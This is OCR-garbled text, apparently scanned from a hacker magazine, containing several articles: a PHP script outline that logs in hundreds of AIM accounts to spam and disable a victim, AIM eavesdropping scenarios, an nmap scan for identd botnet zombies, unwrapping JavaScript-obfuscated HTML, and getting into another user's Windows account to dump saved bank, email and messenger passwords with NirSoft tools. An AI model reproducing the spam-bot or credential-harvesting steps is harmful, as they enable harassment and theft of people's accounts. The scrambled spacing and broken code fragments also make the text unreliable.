one  wou ld rea lly ta ke t h e  time  t o  enter a ny  of 
this manua lly. B ut a p rogra m mer, after a second  
o r  two ,  wou ld i n evitab ly comprehend  the  true po­
tenti a l  that i n formation  such as this gives them: 
abusi n g  AOL's servi ce, a llowi n g  them to gai n i n ­
formati on  about other users, fo rci n g  t hem  to 
sig n  off, or even gai n i ng  more sensitive i nfo rma­
tion  from AOL because they know the li ngo. 

Thi n k  about this from a p rogramming  per­
spective. I have written a p rogram in PH P (yes, 
the server based pa rsi ng  la nguage) ,  that logs i n  
a n d  talks t o  me  when I sig n  on  a nd  ta lk t o  it, re­
peati n g  everythi ng  I say, fo llowed by my screen­
name. It i s n 't ha rd to write a program ,  i n  a ny 
la nguage  (C/++, PH P, Perl. even VB)  that wi ll a l­
low you to sig n  onto AIM with a screen name ,  us­
ing the  p rotocol by j ust sendi n g  i n formati on  to 
thei r  server (i n P H P, I used fsockopen to con nect 
a nd  fwrite to send i n formation  th rough  the  con ­
n ecti on ;  m uch easie r  than  you  wou ld expect) . 

Now that you have a progra m/scri pt that wi ll 
log onto AOL's servers, you know that one screen­
name won 't a llow you to wrea k utter havoc on  the  
jock that d u n ked you r  head i n  a toi let i n  h igh  
school. So lution :  create mo re, but fo llow thei r  
n ames with n u m bers.  Each ti me  you create one ,  
add a n u m ber. For i n stance, "thepwnzOrl " ,  
"thepwnzOr2 " ,  . . .  "thepwnzOr276 " .  

After spend i ng  much  time  creati n g  many  
screen names,  you  probab ly know what  you  have 
to do: loop through them . Ta ke the scri pt you 
wrote to con nect to AIM ,  yet i n stead of enteri n g  
the  va lues manua lly, enter "thepwnzOr" fo llowed 
by a va ri ab le,  the va ri ab le bei n g  the amount of 
ti mes the scri pt has looped .  This wou ld loo k  
somethi ng  li ke this. 
for (i = 1 ; i  <= 2 7 6 ; i++ ) { 

I I  connect putting the value of i 
"after "thepwn z O r" ,  logging into "the 
"'pwn z O r 1 "  a l l  the way through "thepwn z O r  
... 2 7 6" .  

You now have a scri pt that wi ll log i nto 276 
screennames .  

Of cou rse, n ow, you  cou ld enter code  manu ­
a lly, writi n g  i n  the  scri pt to  s pam  
"jOcK4UfE46234424235 "  with ra ndom messages 
each ti me  each screen n ame  sig n s  on, vi rtua lly 
disab li n g  h im from doi n g  a nythi n g .  One  p rob lem:  
you don 't want to have to change the code each 
ti me  a nd  recompi le/reup load it .  I don 't b lame  
you .  This a ll gets a n noyi n g  after a whi le a nd  t he  
attack i sn 't as g racefu l. So lution :  write code a l­
lowi ng  you to tell "thepwnzOrl "  a si mp le li n e  of 
text, such as "spam jOcK4UfE46234424235 "  
which wou ld trigger  a n  I F  statement, s u c h  as: 
if (subs tr(me s s age , 0 ,  3 )  == "spam" ) { 

me s s age = exp lode (me s s age , " " ) ; 
s e ndrne s s age("thepwn z O r " . i + 1 " ,  

"me s s age [ 0 ] . me s s age [ 1 ] ) ; 
s pam(me s s age [ 1 J ) ;  

spa m O  would be a fun ctio n  that sends mes­
sages to the  va lue given to it and sendmessageO 
would send a message to the next screen n ame, 
conti n ui n g  the ci rcle. You wou ld be a b le to 
spam someone simp ly by open ing the exe­
cutab le/scri pt a nd  AIM ,  then sendi n g  an i n sta nt 
message to thepwnzOrl sayi ng  "spam [screen ­
name] " .  

There i s  a lmost n o  defense t o  a scri pt li ke 
this ,  except for the victi m getti ng  off of AIM ,  
which they would i n evitab ly have t o  d o .  

T h e  potenti a l  o f  this TOe p rotocol i s  amazi n g ;  
t h e  amount o f  not o n ly A IM  abuse, b u t  new fu nc­
tio na lity a nd  ease of use i n  th i rd pa rty p rogra ms  
that  ca n come from th i s  i s  aston ish i ng .  

Plus, there's nothi ng  that AOL  can do about it. 
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AIM E ave s dr opping Hgle 

by george 
I recently ca me  i nto possessi on  of a Power­

book  G 3 .  In the p rocess of Loadi ng  softwa re o nto 
it, I i n sta lled AOL Instant Messenger. I 'm an 1M 
addict . . .  I have h uge buddy Lists , i t ' s  my p rima ry 
means  of rea L  ti me  com municati o n .  I n oti ced 
someth ing  odd when I sta rted it up  on  the Mac .  
U n Li ke Ya hoo Messenger, it Left me  Logged i n  o n  
my  Wi ndows box. This doesn 't seem rig ht. 

Further experi mentation  s howed that if  I re­
ceive a message when Logged in on both , the  
message shows up  o n  both  computers . That 
seems rea LLy wrong .  Whi le it requi res you r  Logi n 
credentia Ls a nd  Loca L n etwo rk access to exp Loit, 
you can eavesdrop on h a Lf the conversati o n .  It' s 
o n Ly the ha Lf you r  target receives, n ot what they 
send ,  but I've worked i n  m i litary i ntelligence -
you can reconstruct a La rge portion  of the miss­
ing data if  you read and ana Lyze ca refu LLy. You 
won 't get the exact wo rdi ng ,  b ut you wi LL get the  
i n formation  itseLf. 

I've deveLoped th ree p La n s  on how to exp Loit 
th is .  A creative hacker cou Ld p robab Ly fi nd  mo re, 
and there a re certai n Ly va riati on s  on  these basic 
attacks .  In a LL of these scena rios ,  a LL computers 
Logged in a re p resenti n g  the same IP  to the AIM 
servers, i . e . ,  via a home  router of some so rt. To 
my knowLedge, this wi LL n ot work outsi de of a si n ­
g Le externa L  I P  situati o n .  I p ray to  God it won 't. 

Fi rst scena ri o  i s  the nosy roommate. In  th is  
scena ri o ,  someone you Live with decides to spy on  
you .  They g uess you r  passwo rd , i n staLL a keyLog­
ger, b rute fo rce it, socia L  eng ineer it "my ai m died 
and I n eed to get a ho Ld of someone , "  o r  some­
thi n g  of the sort. Then they ca n watch h a Lf of the 
conversati o n .  

Second  scenari o  i s  what I caLL t h e  "wea kest 
Li n k . "  An attacker fi nds  a computer on  you r  home  
network that you  a ren 't watch ing  as ca refu LLy o r  
usi n g  as much .  They p roceed to  Own that  com­
puter via whatever means  they have avai La b Le .  
Th i s  wi ll Let them remoteLy monito r ha Lf the con ­
versati o n ,  and  Li keLy won 't get noti ced as you 
a ren 't keepi ng  this system secu red,  o r  

" !1l 

usi n g/scann i ng  it as often as you do you r  main 
system .  

Third,  a nd  potentia lly most dangerous ,  i s  
t h e  wa rd rivi n g  attack.  The atta cker secu res you r  
Logi n credentia Ls however they ca n ,  parks them­
seLves across the  street, and  p roceeds to watch as 
i n  the nosy roommate situati o n .  This i s  the  ha rd­
est  to detect u n Less you a re watchi ng  you r  access 
Logs .  

To protect agai n st this i s  simp Le .  
Fi rst, fo llow good password practi ces . H a rd to  

guess, n u mbers a nd  Letters, ca ps a n d  Lowercase, 
and never teLL it to a nyone .  It s hou Ld o n Ly be en­
tered i nto the AIM softwa re o r  website to access 
AIM services, a n d  s hou Ld not be sto red . Make it 
h a rd to get you r  passwo rd a nd ,  u n Less you 've 
rea LLy pissed someone off, they wi ll give up on  
you and  fi nd  a n  easie r  ta rget. 

Second ,  you r  n etwork i s  o n Ly as secu re as the 
Least secu re computer. Keep aL L  systems that a re 
attached to the n etwork, n o  matter  how i nsig nif­
i ca nt, fu LLy patched and  regu La rLy scanned .  An at­
tacker o n Ly needs to compromise one  system to 
gai n access .  

Th i rd ,  if you use a wi reLess n etwo rk, secu re it .  
Don 't set it up  where a nyone  with a wi reLess ca rd 
can DHCP  and  access the n et from you r  WAP. 
Watch you r  WAP's access Logs regu La rLy as weLL to 
determi n e  if  there a re a ny attempts (especia lly 
successfu L ones) to access the  netwo rk without 
you r  permissi o n .  

AOL  cou Ld fix t h i s  easi ly. They j ust have to  fix 
AIM so that, Li ke Ya hoo Messenger, you get 
Logged out of you r  current session  if you Log i n  
agai n .  I t  s hou Ld n 't requi re you t o  be behi n d  a dif­
ferent I P  to Log you out - a ny Login s hou Ld end 
you r  cu rrent session  immediateLy. Wh i le that 
won 't p revent someone from accessi ng  you r  ac­
count, it wi lL at Least make it much h a rde r  to do 

so without bei n g  noti ced .  
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by Tokachu 
If you 've ever been on a n  I RC server, you 've 

p robab Ly received an attempted con nection  to 
port 113 ,  a nd  probab Ly gotten a " p Lease i n sta ll 
identd" soon afterwa rds .  Fo r those who a re n ot 
fam i li a r  with Internet Re lay Chat, identd is a net­
work service that runs  on port 113  to identify 
which user i s  on  which TCP con necti o n .  Here's 
how a typi ca L sessi o n  wou Ld work:  
* C lient con nects to the ident server on  port 1 13 .  
* C Lient gives the  server the remote port u sed  for 
con n ecti n g  a nd  the Loca L port con nected to. 
* Server responds  with a username .  
An exa mp Le of a session  mi g ht Loo k  Li ke this :  
* C lient sends the  text "1025, 6667" ,  where 1025 
i s  the port on  the  server (the ident server) a nd  
6667  i s  the  port on  the client ( t he  one  maki n g  
the  ident request) . 
* Server sends "6667, 1025 : USERID :  U NIX : 
myusername" ,  where "myusername" is the sup­
posed Logi  n .  

The pu rpose for such a p rotocoL was t o  p ro­
vide a way for mach ines on  trustwo rthy m u Lti user 
networks to a utomatica lly a llow peopLe to Logi n 
from  thei r  mach i n es .  Soon after the  o ri gi n a L  
protocoL spedfi cations  were reLeased,  peopLe re­
a Lized h ow m uch of a joke i dentd was.  Subse­
quently, nobody uses it fo r its o ri gi na L  pu rpose.  

Enter I RC 
Whi le i dentd is n ot used i n  a ny serious  man­

ne r, it has  found  a use  on IRC servers. Fo r  the 
Lo ngest t i  me ,  IRC operators were concerned that 
users  wou Ld try to abuse thei r  systems  whi le h id­
ing behi nd  open p roxies .  Nea rLy a LL the open 
p roxies avai La b Le were not breached systems,  but 
poorLy confi gu red mach ines .  As the a busers had 
n o  rea L access to those systems beyond  usi n g  
t h e m  as p roxies ,  m a n y  I R C  servers began requi r­
i n g  that every client run i dentd on thei r  machi ne  
to  " identify" them .  I f  the IRC server couLdn 't con ­
nect to  the  cli ent's machi n e  on  port 113 ,  they 
wou Ld assume  the machi n e  was an open p roxy 
and  wouLd term inate the con n ection  from there .  

Not too Lo ng  ago computer vi rus writers be­
gan  writi ng  their  own p roxy softwa re, i n cludi ng  
identd servers with t hem  so they couLd both con-

ned to I RC chan ne ls a nonymous Ly as weLL as to 
a LLow the victi ms '  computers, o r  "zombies , "  to 
conn ect to a h idden IRC channe L  fo r mass remote 
controLLi n g  of machi n es .  Nowadays it's practi ca LLy 
useLess to reLy on identd fo r a ny ki nd  of authenti­
cation  whatsoever. 

Patrolling Your Network 
If you ' re as Lucky as I am ,  you 've gotten you r­

seLf a nice job  Loo ki n g  after a n etwork, or perhaps 
you 've got a sma ll LAN set up  at home.  Either  
way, if  you a re the admin i strator of any netwo rk 
con necti ng  Wi ndows XP  computers together, you 
know how terri b Le thi ngs  ca n get and, u n Less 
you 've got fu LL contro L of every machi ne  a nd  run 
Wi ndows Update reLig ious Ly, odds a re you 've had 
to take  a mach ine offli n e  at Least once to  "clea n 
it u p . "  

B ut Let's say t h a t  you  run a very La rge n et­
work, o ne  with at Least a few h u nd red computers, 
nea rLy a LL of which run Wi ndows XP. You don 't 
have the ti me  to Loo k  at each a n d  every one  of 
those computers a n d  ma ke su re none  of them 
have been "zombifi ed . "  So what can you do? 

Scanning the Network 
Fi rst, down Load the Latest versi on of NMap  

(http ://i n secu re . o rg/nmap ) .  Compi Le it a nd  r u n  
i t  with the  fo LLowi ng  options :  
nmap - s T  - p  1 1 3  -PO - v  - T  4 - o G  iden t . txt 

-1 9 2 . 1 6 8 . 1 .  0/24 

Here 's a b rea kdown of the command- Li n e  
options :  
- s T  - Scan  usi n g  fu LL TCP con nections .  
- p  1 1 3  - Specifies to o n Ly scan  port 113 ( identd ) .  
-pO ' - Don 't send out pi ngs  (most softwa re fi re-
wa LLs b Lock pi ngs  anyway) . 
-v - Be verbose ( p ri nt  out open ports as they a re 
fou nd ) .  
- T  4 - Very fast ti m i ng ,  no  deLay between 
con nections .  
- o G  iden t . t x t  - Log  everyth ing i n  the fi le 
" ident.txt" . 

1 92. 1 68. 1 . 0/24 - Scan every host i n  that sub­
net. This i s  the o n Ly opti on  you ' L L  have to change .  

Once you 've scan ned you r  netwo rk, go 
through  the fi Le " ident.txt" a n d  fi nd  each Li ne  
that  has the word "open"  i n  i t .  In U NIX, type 
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"g rep open idenUxt" at a command  li ne ;  i n  
Wi ndows, type " FI N D  open IDENT.TXT" a t  the 
command  p rompt. 

Testi ng the Open Machines 
Althoug h i dentd s hou ld n ot be ru nn i ng  fu ll­

time  on a legiti mate IRC cli ent. there is sti ll that 
possi bi lity. H ere a re a few "acid  tests" that ca n be  
run  on  the server: 

Null Test - Send a comp letely b la n k  query. 
This s hou ld either  return n othi ng  o r  retu rn the  
er ror  " U N KNOWN-ERROR" .  

Zero Test - Send a q uery with both the client 
port a nd  server port set to 0 (zero ) .  This s hou ld 
return the error "INVALID-PORT" . 

Private Port Test - Send a query with the  
client port set  to 113  a n d  a ra ndom server port. 
It s hou ld return a n  error with either  " H ID DEN­
USER "  o r  " NO-USER" .  

Multiple-User Test - Send a va li d  query twice 
in a row. The two usernames retu rned s hou ld 
match .  

I f  a ny of the servers found  does  not pass 
th ree o r  a ll of these tests , it's mo re than li kely 
been i n fected with a vi rus a nd  is possi b ly receiv­
i n g  com mands  from a remote IRC server to either  
re lay junk e-mai l, flood websites with garbage,  o r  
i n fect mo re mach ines .  Lucki ly most o f  t h e  ex­
p loits used for them to self-propagate have 
patches agai n st them,  a n d  p robab ly use the same 
she llcode that  ca me  with the o rigi n a l  p roof-of­
concept exp loit posted ! Based o n  that. you ' ll 
p robab ly fi nd  you rself dea li n g  with FTP com­
mands  piped to  a command  li ne ,  rather  than  

she llcode that  uti lizes the Wi nINet li b ra ry. In 
other words ,  the  code can easi ly be  found  by up­
to-date a ntivi rus softwa re, even if  the  vi rus has 
been reconfi gu red a nd  recompi led for a nother  
person to control. 

Pee king i nto the Vi rus 
Whi le the executab le itself might  be en­

crypted , worms that con nect to a centra l I RC 
server rarely estab li s h  encrypted con nections .  If 
you can s niff the  n etwork traffi c on a ny of the i n ­
fected machi n es you  found ,  y o u  ca n easi ly fi n d  
where the  server i s  con necti n g ,  a n d  possi b ly t he  
passwords used by  the scri pt kiddie who  i s  con­
trolli n g  a ll the  machines .  From there you can 
send a sta nda rd "abuse" e-mai l to the  n etwork 
admin istrator responsi b le fo r the  I RC server's 
n etwo rk. If you ' re mo re dari n g ,  you cou ld take 
over the "bot netwo rk" and s hut it down you rself, 
a lthough  this cou ld resu lt i n  getti ng  a n  "abuse" 
e-mai l you rself! 

Conclusion 
I suppose the  o n ly thi ng  I cou ld tell you to 

keep the Wi ndows machi nes on  you r  n etwork se­
cure wou ld be to treat them as if  they were you r  
own  U NIX boxes: don 't give you r  cli ents admi nis­
trative access, keep a ll of them updated , and fi l­
ter the po rts that a re known to be exp loited , 
such as the ones fo r WINS,  DCOM ,  a n d  NetBIOS. 
And, of course, it doesn 't h u rt to sca n you rself -
it 's better than someone from the outside doi n g  
it fo r you !  

H A C K I N G  E N C R Y P T E D  H T M L  
by Edward Stoever 

edward @database-expert.com 
This a rti cle wi ll show you a hack  you can use 

to decrypt the htm l that has been encrypted by 
th ree popu la r  softwa re programs .  There a re a 
n umber  of reason s  why a webmaster would want 
to en crypt his o r  he r  htm l markup.  The most obvi­
ous  reason is to p rotect the  ma rkup  from you r  cu­
rious  eyes o r  to p revent you from di rectly 
down loadi ng  images or flash  movi es from a web­
site. There a re even better reasons  for usi n g  en­
crypted htm l that don 't i nvolve encrypti n g  the  
enti re page .  I wi ll exp lai n these sho rtly. 

In this a rti cle, I am goi ng  to s how you how to 
decrypt near ly any htm l that i s  encrypted with 
javascri pt. Then ,  at the end of this a rti cle, I wi ll 
s how you a coup le of websites that create en­
crypted htm l fo r free .  In  the event that you ever 

need to use encrypted htm l, you wi ll know its 
strengths a n d  its i n herent wea kness,  a n d  you wi ll 
know where on  the web to get it done  g rati s !  

Fo r ou r  fi rst cha llenge,  let's open  t h i s  website 
with a b rowser: http ://www.protwa re . com .  To see 
p rotwa re in acti o n ,  cli ck  the "Demonstrati o n "  
li n k. In the center o f  the next page  i s  a li n k  "C li ck  
here to  open the  en crypted demo page . "  C li ck  
that  a nd  a n ew wi ndow opens .  In  th i s  n ew wi n­
dow, ri g ht-cli cki n g  has been disab led .  So,  view 
the sou rce through the menu :  view, page source. 
Now you see a h uge javascri pt but n o  recogniz­
ab le htm l .  We want a sou rce that we can read and  
understa nd .  

To h a c k  this source, y o u  wi ll n eed t o  edit the 
htm l markup .  You can use any htm l editor, even 
n otepad o r  gedit. Select the enti re page source, 
copy it. then paste it i nto you r  editor. At the top 
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of the page,  i m mediateLy after the  [scri pt] open­
ing tag ,  type i n :  
doc umen t . wri t e (  ' [ t extarea co1 s = " 8 0 " 

- rows = " 4 0 " n ame= "wh a t e ver " ] ' ) ;  

Then ,  at the bottom of the page,  i m mediateLy 
after the [jscri pt] closi ng  tag, type i n :  
[ /t ex t area ] 

Now save the page a nd  open it i n  a b rowser o r  
click  the  b rowse t a b  i n  you r  h tm L  editor i f  you 
have one .  You wi LL see a big text a rea a nd  i n side  
of i t ,  you wi LL see the  htm L that  you ca n recog­
nize. ALL the paths and  fi lenames of the  i mages 
a n d  other  objects a re readab Le .  If you want to 
view that i n  a b rowser, se Lect that text a nd  save 
it. The javascri pt at the top wi ll p revent you from 
viewi ng  it. J ust cut it out of the text a n d  the page 
wi ll view j ust fi ne .  That was j ust too easy! 

From this point on, I wi LL refer to this tech­
n ique as  "wrappi ng "  because we a re sur round ing  
the javascri pt output i n  a texta rea . As we  move to 
the next exa mp Les, you wi LL see javascri pts that 
en crypt javascri pts . You wi LL be  ab Le to wrap a ny 
of these i n  a texta rea to see the underLyi ng  
decrypted code. 

The foLLowi n g  exa mpLes use javascri pts that 
open Li ke this: 
[ SCRIPT LANGUAGE= "Ja va Scrip t " ]  [ ! - -

The htm L comment tag [ ! -- requi res that we 
add a ca rriage return befo re we open the wrap­
pi ng  with 
doc umen t . wri t e ( ' [ t ext area co1 s = " 8 0 " 

- rows = " 4 0 "  n ame= "wh a  t e ver " ]  , ) ; 

Our  n ext cha LLenge can be found  here:  
http ://www.a ntssoft. com/htm Lprotecto r. In  the 
midd Le of that page i s  a Li n k: "C li c k  here to view 
samp Le page p rotected by HTM L Protector. " In the  
samp Le page that opens ,  rig ht-cli cki n g  has  been 
di sab Led so vi ew the source from the menu .  Copy 
and  paste the htm L text i nto you r  editor. H ere 
you wi LL see th ree javascri pts . If you wrap the 
fi rst one by itseLf, you wi LL fi nd  that it h ides an­
other  javascri pt. You have the opti on  of rep Laci ng  
the en crypted javascri pt i n  you r  editor with t he  
decrypted one  i n  you r  b rowser. I f  you  don 't re­
p Lace the en crypted version  with the  decrypted 
versi o n ,  remove the wrappi n g  so it wi LL fu n cti o n .  
You can decrypt the  source si mp Ly by  wrappi n g  
t h e  fi n a L javascri pt. 

Fi n a LLy, we get to our th i rd cha LLenge :  
http ://www.aevita . com/web/Lock/sa mp Les. htm . 
This website has  taken some extra steps to make 
thei r  content h a rder  to decode. C li ck  the Li n k  fo r 
"Strong "  en crypti on  scheme.  A new page wi LL 
open that wi lL Loo k  just Li ke the GoogLe home­
page .  View the source th rough  the b rowser's 
menu .  At fi rst, the source Looks  Li ke it i s  empty, 
but that is j u st because of a b u n ch of added car­
riage retu rns .  ScroLL down ! Copy the sou rce a nd  

paste it i nto a n  editor. 
The source has  fou r  javascri pts . If we use ou r  

wrappi n g  h a c k  on  the  fi rst one ,  we fi nd  that it i s  
a javascript that j ust disab Les mouse cli cki n g .  
Si mp Ly deLete that fi rst javascri pt. Next, Loo k  fo r 
a javascri pt that i ncludes the text 
s rc="encrypt.j s " .  He re is the  tri cky pa rt. We n eed 
that bit of code to comp Lete our job. Go back to 
the b rowser, and change the  URL fo r the page to 
this :  
http ://www.aevita . com/web/ Lock/sampLes/ 
-encrypt.j s .  

The text we need either  appears i n  the  
b rowser o r  ca n be saved as a text fi le dependi n g  
o n  the  b rowser you u s e .  Copy a L L  of t h e  text from 
encrypt.js  a n d  paste i nto the text editor between 
the  scri pt open a n d  close tags as s hown here: 
[ SCRIPT src= "encrypt . j s "  type= " t ex t /  

- j a vascript " ]paste i t  here ! [ /SCRIPT] 

Next, de Lete the text s rc="encrypt.js"  out of 
the scri pt open tag .  Then, o n  the Last javascri pt 
on that page do a wrappi n g  hack .  Now view the 
page i n  a b rowser a nd  you wi LL see  the htm L 
source you wa nted to see. 

The wrappi n g  tech n ique s hown above can be 
used on  n ea rLy a ny javascri pt htm L en crypti on  to 
view the true htm L markup .  

There a re a coup Le of reasons  I use encrypted 
htm L, neither  of which is to p revent peop Le from 
readi ng  the source of the  page.  In each of these 
cases, I o n Ly en crypt the  sma LL portion  of the 
htm L ma rkup that I want to h ide .  

The fi rst reason I use encrypti on  i s  to h ide 
emai l  add resses from spambots, programs  that 
sea rch  the Internet h unti n g  fo r emai l  addresses 
to send spam to. 

The second  reason I use en cryption  i s  to h ide 
[ DIV] tags that I use to Layer divisions  i n  web 
pages.  I use the [ DIV] tags to concea L text from 
the user 's eyes a nd  at the  same ti me  make the 
text avai Lab Le to sea rch engi n es .  Sea rch engi n es 
know we ca n use [ DIV] tags to do this ,  a nd  can be 
progra m med to eLim inate text stri ngs  found  in 
divisions  that a re n ot vi si b Le to peopLe .  By en­
crypti ng  the [ DIV] tags ,  a sea rch engi n e  wi lL have 
a ha rder  time  e lim inati n g  the concea Led text from 
its sea rch i n dex. Fo r a n  exa mp Le of hidi n g  [ DIV] 
tags, visit my homepage:  http ://www.database­
-expert. com .  

M y  persona L  favorite way o f  en crypti n g  text 
stri ngs ca n be found  here: http ://www.guymal .  
-com/nospa m_emaiUin k . p h p .  G uymaL's uti Lity 
is easy to use, q uick ,  a nd  free .  

Another package fo r en crypting  htm L markup 
for free ca n be found  h ere : http ://javascri pt. 
-about .com/Li b ra ry/b Lenc . htm .  

Happy decrypti n g !  
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by Big Bird 
Wi ndows stores user i n formati on  i n  a ll so rts 

of p laces. Some of them you know (cookies ,  tem­
porary Internet fi les, configu rati o n  fi les) b ut 
there a re other locati on s  where i n formati on  i s  
stored that  can be  much  mo re i nteresti n g .  I ' l l  
show you how to gather  i n formation  about users 
a n d  setti ngs  they keep .  

Please n ote, I wi ll be describ i ng  uti liti es 
found  i n side of Wi ndows and  from a softwa re de­
veloper  named Nir Sofer. A lthough  the p rograms  
created by  N i r  Sofer a re free today, they may n ot 
be tomor row. N i r  Sofer's website is http ://www. 
-ni rsoft . netj, Microsoft's website is http ://www 
-.microsoft .co m .  This a rti cle discusses detai ls 
about the  "P rotected Storage Manager" in Wi n ­
dows. One  caveat however: you wi ll n eed to  be 
logged i n  as the user you i ntend to gather  this 
i n formation  from .  If you do not have access to 
the  user 's account, you may need to go though  
the  p rocess of getti ng  i nto the  Administrator ac­
count  ( by resetti ng  the password ) .  Also, on  Wi n ­
dows XP  home  computers, the Admin istrator 
account has a n  empty password (when booti n g  
i nto safe mode) a nd  there y o u  can c h a n g e  t h e  
user 's password . There a re other ways t o  get i n  by 
copyi n g  p rofi les a n d  such , but this is a little 
la rger than  the  scope of this a rti cle. 

Getting Various Passwords 
The Protected Storage Manager  is a simp ly a 

locati on  i n  the Wi ndows Registry. The Protected 
Sto rage is a feature of Wi ndows that stores most. 
if n ot a ll, of the user 's i n formation  in an en­
crypted locati o n .  By defa u lt the  "P rotected Stor­
age"  service in Wi ndows XP i s  requi red to save a ny 
passwords the user uses i n  Emai l, Messagi ng  o r  
Internet Exp lo rer. I t  i s  on  by  defa u lt i n  Wi ndows 
XP. In  the registry, you can fi nd  the Protect Stor­
age location  by r unn i ng  " regedit" a n d  locati n g  
t h e  fo llowi ng  key ( a n d  subkeys) : HKEYJUR 
- RENCUSER\Software \ Microsoft\ Protected 
Storage System Provider 

Often this locati on  i n  the registry is either  
h idden o r  encrypted o r  both - so you won 't li kely 
fi nd  much  if you go snoopi n g  a round .  There a re 
uti liti es to get access to this i n formation  but 
most of them requ i re Perl o r  i n sta llati o n  o n  the 
loca l computer. Some other  uti lities of this na-

tu re a re Protected Storage Explorer ( http ://www. 
-forensiddeas . com/) , Cai n & Abel  ( http ://www. 
-oxid .it) , a n d  Secret Explorer ( http ://lastbit. 
-com/wse/defau lt.a sp ) .  But Protected Storage 
Pass View is  the  best and easiest to use .  

In this a rea you ' l l  fi n d  user n ames and pass­
words that have been saved by Internet Explorer  
as wel l  as a URL to the location  where the  pass­
word had been saved .  Believe it o r  not, I have of­
ten seen ba n k  U R Ls with the user n ame  ( bank  
card n u m ber) a nd  passwords saved .  I f  you  get 
o n ly a user n ame  for the one  locati on ,  you may 
fi nd  user/password pai rs fo r other  sites .  Often 
people don 't va ry user names a n d  passwords 
enough  to keep you from guessi ng  them . The 
functi on  of savi n g  user names and passwords is 
(fo r the  most pa rt) seam less to the  user. The fi rst 
uti lity ( by Ni r Sofer) that I'll di rect you to use is 
the Protected Sto rage Pass View. This uti lity ex­
poses a ll of what is in the Protected Sto rage of 
Wi ndows. 

The Protected Storage Pass View uti lity shows 
recently typed in entries a nd  search terms  from 
Internet Exp lo rer. This Internet Explorer tech n o l­
ogy ( n amed AutoComp lete) is g reat fo r gatheri n g  
i n formatio n  about t h e  user 's i nterests, add ress, 
p hone  n u m ber, and even in ra re cases passwo rds .  
Othe r  i nformati on  you  ca n gather  from t he  
Protected Storage locati o n :  
- Outlook/Outlook  Express u s e r  names a n d  
-passwords 
- FTP user n ames and passwords opened with 
-Internet Explorer 
- MSN Explorer  passwords 
- Instant Messenger  Passwords 

Ni r Sofer a lso made a sma ll uti lity to gather  
user n ames a n d  passwords fo r common  Instant 
Messenger  app li cations .  The uti lity, Messen Pass, 
supports the  fo llowi n g  app li cations :  
MSN Messenger 
Windows Messenger (In Windows XP) 
Yahoo Messenger 
lea Lite 4 .x/2003 
AOL Instant Messenger 
AOL Instant Messenger/Netscape 7 
TriLiian 
Miranda 
GAIM 
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You wou ld be surprised how usefu l this p ro­
gram is  at gatheri n g  i n formation  about messen­
ger app li cati o n s  i n sta lled o n  the  computer 
a nd/or passwords fo r va rious  accounts. 

Email Passwords 
Almost a redundant uti lity (when Protected 

Sto rage Pass View can show emai l passwords ) ,  Ni r 
Sofer created a uti lity to gather  specifi c user 
name, hostname ,  and  password i n formation  from 
these specifi c  emai l  app li cati on s .  This uti lity, 
Mai l  PassView, s hows user names a nd  passwords 
from the fo llowi ng  programs :  
Outlook Express 
Microsoft Outlook 2000 (POP3 and SMTP 
-accounts only) 
Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP 
-and SMTP accounts) 
IncrediMail 
Eudora 
Group Mail Free 

Scenarios 
In one scenari o  you may be loo ki n g  for the 

user 's H otmai l user name and password . Si n ce 
H otmai l is accessed th rough  a web b rowser, there 
is a rea lly good chance the  user might  have saved 
this whi le he/she  was usi n g  Internet Exp lo rer. 
Run the Protected Sto rage Pass View app li cati o n  
a nd  fi nd  the  correspondi n g  U R L  a nd  user 
name/password values. In other cases, the user 
may save thei r  MSN Messenger  passwords when 
they use Messenger  si n ce the  Messenger  user 

by Luckycan 
The idea of m in ing  the web has  been a popu­

la r topic  of study si n ce the fi rst sea rch engi n es 
were designed .  Data mi ners use speci a lized p ro­
grams  to down load web pages and then extract 
data from them fo r later use .  The successes 
ach ieved by Goog le a re probab ly the best exa m­
p le of h ow data mining can be p rofitab le and 
productive. The fou nders of Goog le have done  ex­
ten sive research in the fie ld of data m in ing  a nd  
have a ll so rts of n eat little tricks  to  make thei r  
sea rch engi n e  work as  well as i t  does .  T h e  a lgo­
rithms  used by Goog le take advantage of mathe­
matics that requi re mo re tha n a h igh  school  
education  to u ndersta nd  and  a re probab ly n ot 
suitab le fo r use i n  persona l  projects . 

If you want to do some data min i ng ,  you basi-

name  i s  often the user 's H otmai l emai l address, 
and the password i s  ofte the  user 's H otmai l pass­
word . Run  the  Messen Pass uti lity and you ' ll have 
gotten what you n eeded this way. Another way of 
getti ng  the H otmai l passwo rd i s  if  the user has  
set  up  h is/her  H otmai l emai l access th rough  Out­
loo k  or Outlook  Express ( and  saved the password 
of cou rse) . In this case you may get this i n forma­
tio n  from the Protected Storage Pass  View 
p rogram o r  even Mai l Pass View. 

In a rea l world scena ri o ,  I too k  over IT Ser­
vices from a nother company who used to poor ly 
support my new client .  Whi le loo ki n g  th rough  the  
machi nes usi n g  the above uti liti es, I came  across 
one machi n e  that (appa rently) one of the sen ior  
techn ici an s  i n  the o ld support company had been 
usi n g .  What I found  i n  the  Protected Sto rage Pass 
View uti lity was the U RL, user name, and pass­
word of the senio r  tech n ici a n 's emai l  account  on 
that company's server. A little mo re i nvestigati on  
a nd  I found  u se r  n ames a n d  passwords fo r thei r  
customers ,  credit card n u mbers, a n d  a ll so rts of 
other i nformation  about that company's b usi­
ness .  None  of that i n formatio n  was used fo r bad 
reasons as that defeats the purpose. As web­
based app li cati on s  become  more and more ri c h ,  
the th i ngs  you m ight  fi nd  i n  the  Wi ndows Pro­
tected Storage become  mo re and more i nterest­
i n g ,  just as users seem to be becoming  more 
a n d  more stupid .  Make use of these uti lities a n d  
p rotect you rself! 

ca lly have two options .  You can either  p rogram 
you r  own custom C program ,  comp lete with low 
level socket code and  low leve l code to com m u ni­
cate with the HTIP p rotocol .  The other  way would 
be to use some quick a nd  di rty method that 
would o n ly ta ke a n  hour of you r  time  to perfect 
a nd  wou ld fit perfectly i nto you r  busy schedu le of 
feedi ng  recei pt p ri nter paper i nto the  s h redder at 
work a nd  loo ki n g  at gi rls on the  Internet. 

This a rti cle wi ll give a b rief i ntroduction  to 
the LWP modu les fo r use with Perl. LWP a l lows 
you to program a qu ick and di rty data mi ne r  so 
you can ,  fo r examp le, grab 1200 d ri n k  reci pes 
from some ba rtendi ng  site in o n ly five m in utes 
i n stead of spendi n g  two hou rs clicki n g  n ext­
copy-paste (I 'm g lad I spend my ti me  in such a 
p roductive man ner) .  If you a re n ot fami li a r  with 
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Perl, then I suggest you become  fa mi li a r  with it. 
Perl i s  by fa r one of the coo lest la nguages you 
